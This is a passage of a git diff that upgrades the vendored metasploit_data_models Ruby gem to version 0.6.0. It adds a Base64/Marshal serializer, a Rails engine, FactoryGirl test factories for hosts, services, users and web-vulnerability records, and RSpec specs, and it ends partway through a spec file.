|serialized| + # Fall back to string decoding + serialized + } + ] + + # + # Methods + # + + # Creates a duplicate of default value + # + # @return + def default + @default.dup + end + + attr_writer :default + + # Serializes the value by marshalling the value and then base64 encodes the marshaled value. + # + # @param value [Object] value to serialize + # @return [String] + def dump(value) + # Always store data back in the Marshal format + marshalled = Marshal.dump(value) + base64_encoded = [ marshalled ].pack('m') + + base64_encoded + end + + # @param attributes [Hash] attributes + # @option attributes [Object] :default ({}) Value to use for {#default}. + def initialize(attributes={}) + attributes.assert_valid_keys(:default) + + @default = attributes.fetch(:default, DEFAULT) + end + + # Deserializes the value by either + # 1. Base64 decoding and then unmarshalling the value. + # 2. Parsing the value as YAML. + # 3. Returns the raw value. + # + # @param value [String] serialized value + # @return [Object] + # + # @see #default + def load(value) + loaded = nil + + if value.blank? + loaded = default + else + LOADERS.each do |loader| + begin + loaded = loader.call(value) + rescue + next + else + break + end + end + end + + loaded + end + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb new file mode 100644 index 0000000000..4f73f5c985 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/engine.rb @@ -0,0 +1,14 @@ +require 'rails' + +module MetasploitDataModels + class Engine < Rails::Engine + + # @see http://viget.com/extend/rails-engine-testing-with-rspec-capybara-and-factorygirl + config.generators do |g| + g.assets false + g.fixture_replacement :factory_girl, :dir => 'spec/factories' + g.helper false + g.test_framework :rspec, :fixture => false + end + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/serialized_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/ip_format_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb index ee7b61398b..6532b907d4 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/metasploit_data_models/version.rb @@ -4,5 +4,5 @@ module MetasploitDataModels # metasploit-framework/data/sql/migrate to db/migrate in this project, not all models have specs that verify the # migrations (with have_db_column and have_db_index) and certain models may not be shared between metasploit-framework # and pro, so models may be removed in the future. Because of the unstable API the version should remain below 1.0.0 - VERSION = '0.5.1' + VERSION = '0.6.0' end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/lib/tasks/yard.rake diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/metasploit_data_models.gemspec diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb similarity index 80% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb index d55706f947..904a19fe0b 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/app/models/mdm/web_vuln_spec.rb @@ -5,6 +5,10 @@ describe Mdm::WebVuln do 1 .. 100 end + let(:default_params) do + [] + end + let(:methods) do [ 'GET', @@ -18,6 +22,10 @@ describe Mdm::WebVuln do 0 .. 5 end + subject(:web_vuln) do + described_class.new + end + context 'associations' do it { should belong_to(:web_site).class_name('Mdm::WebSite') } end @@ -74,7 +82,11 @@ describe Mdm::WebVuln do it { should ensure_inclusion_of(:method).in_array(methods) } it { should validate_presence_of :name } it { should validate_presence_of :path } - it { should validate_presence_of :params } + + it 'should not validate presence of params because it default to [] and can never be nil' do + web_vuln.should_not validate_presence_of(:params) + end + it { should validate_presence_of :pname } it { should validate_presence_of :proof } it { should ensure_inclusion_of(:risk).in_range(risk_range) } @@ -84,4 +96,31 @@ describe Mdm::WebVuln do context 'serializations' do it { should serialize(:params).as_instance_of(MetasploitDataModels::Base64Serializer) } end + + context '#params' do + let(:default) do + [] + end + + let(:params) do + web_vuln.params + end + + it 'should default to []' do + params.should == default + end + + it 'should return default if set to nil' do + web_vuln.params = nil + web_vuln.params.should == default + end + + it 'should return default if set to nil and saved' do + web_vuln = FactoryGirl.build(:mdm_web_vuln) + web_vuln.params = nil + web_vuln.save! + + web_vuln.params.should == default + end + end end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/Rakefile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/javascripts/application.js diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/assets/stylesheets/application.css diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/controllers/application_controller.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/helpers/application_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/mailers/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/models/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/app/views/layouts/application.html.erb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config.ru diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/application.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/boot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/database.yml.example diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/development.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/production.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/environments/test.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/backtrace_silencers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/inflections.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/mime_types.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/secret_token.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/initializers/wrap_parameters.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/config/routes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/db/schema.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/lib/assets/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/log/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/404.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/422.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/500.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/public/favicon.ico diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/dummy/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb new file mode 100644 index 0000000000..32112b667f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/addresses.rb @@ -0,0 +1,7 @@ +FactoryGirl.define do + sequence :mdm_ipv4_address do |n| + max = 255 + + "192.168.#{(n / max).to_i}.#{n % max}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb new file mode 100644 index 0000000000..4eaa10e76d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/hosts.rb @@ -0,0 +1,18 @@ +FactoryGirl.define do + factory :mdm_host, :class => Mdm::Host do + # + # Associations + # + association :workspace, :factory => :mdm_workspace + + # + # Attributes + # + address { generate :mdm_ipv4_address } + name { generate :mdm_host_name } + end + + sequence :mdm_host_name do |n| + "mdm_host_#{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb new file mode 100644 index 0000000000..0c7e02a593 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/services.rb @@ -0,0 +1,35 @@ +FactoryGirl.define do + factory :mdm_service, :class => Mdm::Service do + # + # Associations + # + association :host, :factory => :mdm_host + + # + # Attributes + # + port 4567 + proto 'snmp' + state 'open' + + factory :web_service do + proto 'tcp' + name { FactoryGirl.generate(:web_service_name) } + port { FactoryGirl.generate(:port) } + end + end + + port_bits = 16 + port_limit = 1 << port_bits + + sequence :port do |n| + n % port_limit + end + + web_service_names = ['http', 'https'] + web_service_name_count = web_service_names.length + + sequence :web_service_name do |n| + web_service_names[n % web_service_name_count] + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb new file mode 100644 index 0000000000..46179882b3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/users.rb @@ -0,0 +1,22 @@ +FactoryGirl.define do + factory :mdm_user, :class => Mdm::User do + admin true + company "Interplanetary Teleportation, LTD" + email "rwillingham@itl.com" + fullname { generate :mdm_user_fullname } + phone "5123334444" + username { generate :mdm_user_username } + end + + factory :non_admin_mdm_user, :parent => :mdm_user do + admin false + end + + sequence :mdm_user_fullname do |n| + "Mdm User Fullname the #{n.ordinalize}" + end + + sequence :mdm_user_username do |n| + "mdm_user_username#{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb new file mode 100644 index 0000000000..071b83c451 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_sites.rb @@ -0,0 +1,8 @@ +FactoryGirl.define do + factory :mdm_web_site, :class => Mdm::WebSite do + # + # Associations + # + association :service, :factory => :mdm_service + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb new file mode 100644 index 0000000000..4bba254c7b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/web_vulns.rb @@ -0,0 +1,64 @@ +FactoryGirl.define do + factory :mdm_web_vuln, :class => Mdm::WebVuln do + # + # Associations + # + association :web_site, :factory => :mdm_web_site + + # + # Attributes + # + + category { generate :mdm_web_vuln_category } + confidence { generate :mdm_web_vuln_confidence } + method { generate :mdm_web_vuln_method } + name { generate :mdm_web_vuln_name } + path { generate :mdm_web_vuln_path } + params { generate :mdm_web_vuln_params } + pname { params.first.first } + proof { generate :mdm_web_vuln_proof } + risk { generate :mdm_web_vuln_risk } + end + + sequence :mdm_web_vuln_category do |n| + "mdm_web_vuln_category_#{n}" + end + + sequence :mdm_web_vuln_confidence do |n| + # range is from 1 to 100 so do mod 99 (0 - 99 range) and add 1 to get correct range + (n % 99) + 1 + end + + method_count = Mdm::WebVuln::METHODS.length + + sequence :mdm_web_vuln_method do |n| + Mdm::WebVuln::METHODS[n % method_count] + end + + sequence :mdm_web_vuln_name do |n| + "Web Vulnerability #{n}" + end + + sequence :mdm_web_vuln_path do |n| + "path/to/vulnerability/#{n}" + end + + sequence :mdm_web_vuln_params do |n| + [ + [ + "param#{n}", + "value#{n}" + ] + ] + end + + sequence :mdm_web_vuln_proof do |n| + "Mdm::WebVuln Proof #{n}" + end + + sequence :mdm_web_vuln_risk do |n| + # range is 0 .. 5 + n % 6 + + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb new file mode 100644 index 0000000000..38ffbc9077 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/factories/mdm/workspaces.rb @@ -0,0 +1,23 @@ +FactoryGirl.define do + factory :mdm_workspace, :class => Mdm::Workspace do + # + # Associations + # + association :owner, :factory => :mdm_user + + # + # Attributes + # + boundary { generate :mdm_ipv4_address } + description { generate :mdm_workspace_description } + name { generate :mdm_workspace_name } + end + + sequence :mdm_workspace_description do |n| + "Mdm::Workspace description #{n}" + end + + sequence :mdm_workspace_name do |n| + "Mdm::Workspace Name #{n}" + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb new file mode 100755 index 0000000000..89e48a684b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/spec/lib/base64_serializer_spec.rb @@ -0,0 +1,174 @@ +require "spec_helper" + +describe MetasploitDataModels::Base64Serializer do + let(:base64_marshaled) do + marshaled = Marshal.dump(unserialized) + + [ + marshaled + ].pack('m') + end + + let(:default) do + {} + end + + let(:unserialized) do + { + :foo => 'bar', + :baz => 'baz' + } + end + + let(:yaml) do + unserialized.to_yaml + end + + subject(:base64_serializer) do + described_class.new + end + + context 'CONSTANTS' do + it 'should define DEFAULT' do + described_class::DEFAULT.should == default + end + + context 'LOADERS' do + it 'should prefer base64 marshaled first' do + first = described_class::LOADERS[0] + deserialized = first.call(base64_marshaled) + + deserialized.should == unserialized + end + + it 'should fallback to the old YAML format second' do + second = described_class::LOADERS[1] + deserialized = second.call(yaml) + + deserialized.should == unserialized + end + + it 'should finally give up and just return the value' do + last = described_class::LOADERS.last + deserialized = last.call(unserialized) + + deserialized.should == unserialized + end + end + end + + context '#default' do + it 'should default to {}' do + base64_serializer.default.should == {} + end + + it 'should return a duplicate' do + duplicate = base64_serializer.default + value = mock('Value') + duplicate[:key] = value + + duplicate.should_not == base64_serializer.default + end + end + + context '#dump' do + it 'should output Base64 encoded marshaled data' do + dumped = base64_serializer.dump(unserialized) + + dumped.should == base64_marshaled + end + end + + context '#initialize' do + let(:attributes) do + {} + end + + subject(:base64_serializer) do + 